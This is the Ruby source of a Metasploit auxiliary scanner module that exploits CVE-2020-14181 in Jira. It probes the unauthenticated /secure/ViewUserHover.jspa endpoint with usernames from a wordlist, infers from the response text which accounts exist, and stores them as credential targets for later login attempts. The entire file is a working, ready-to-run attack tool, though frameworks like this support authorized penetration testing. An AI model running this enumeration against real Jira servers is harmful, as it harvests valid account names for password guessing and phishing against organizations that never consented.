101 lines
3.0 KiB
Ruby
101 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Jira Users Enumeration',
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'Description' => %q{
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This module exploits an information disclosure vulnerability that allows an
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unauthenticated user to enumerate users in the /ViewUserHover.jspa endpoint.
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This only affects Jira versions < 7.13.16, 8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.11.1
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Discovered by Mikhail Klyuchnikov @__mn1__
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This module has been tested on versions 8.4.1, 8.5.6, 8.10.1, 8.11.0
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},
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'Author' => [
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'Brian Halbach', # msf module author
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'Mikhail Klyuchnikov' # initial discovery and PoC
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],
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'License' => MSF_LICENSE,
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'References' => [
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['URL', 'https://jira.atlassian.com/browse/JRASERVER-71560'],
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['CVE', '2020-14181']
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],
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ IOC_IN_LOGS ],
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'Reliability' => []
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},
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'DisclosureDate' => '2020-08-16'
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)
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)
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register_options(
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[
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OptString.new('TARGETURI', [true, 'Jira Path', '/']),
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]
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)
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deregister_options('PASS_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'STOP_ON_SUCCESS', 'BLANK_PASSWORDS', 'DB_ALL_CREDS', 'DB_ALL_PASS', 'PASSWORD')
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end
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def base_uri
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@base_uri ||= normalize_uri("#{target_uri.path}/secure/ViewUserHover.jspa")
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end
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def do_user_enum(user)
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print_status("Checking user '#{user}'")
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => base_uri,
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'vars_get' => { 'username' => user },
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'headers' => { 'Connection' => 'Close' }
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)
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unless res
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print_error('No Response From Server')
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return :abort
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end
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if res.body.include?('User does not exist')
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print_bad("User '#{user}' does not exist")
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elsif res.body.include?('<a id="avatar-full-name-link"') # this works for 8.4.1 not sure about other versions
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connection_details = {
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module_fullname: fullname,
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username: user,
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workspace_id: myworkspace_id,
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status: Metasploit::Model::Login::Status::UNTRIED
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}.merge(service_details)
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create_credential_and_login(connection_details)
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print_good("User exists: '#{user}'")
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@users_found << user
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end
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end
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def run_host(_ip)
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@users_found = []
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print_status("Begin enumerating users at #{vhost}#{base_uri}")
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each_user_pass do |user, _pass|
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next if user.empty?
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do_user_enum(user)
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end
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if @users_found.empty?
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print_status("#{full_uri} - No users found.")
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else
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print_good("#{@users_found.length} Users found: #{@users_found.sort.join(', ')}")
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end
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end
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end
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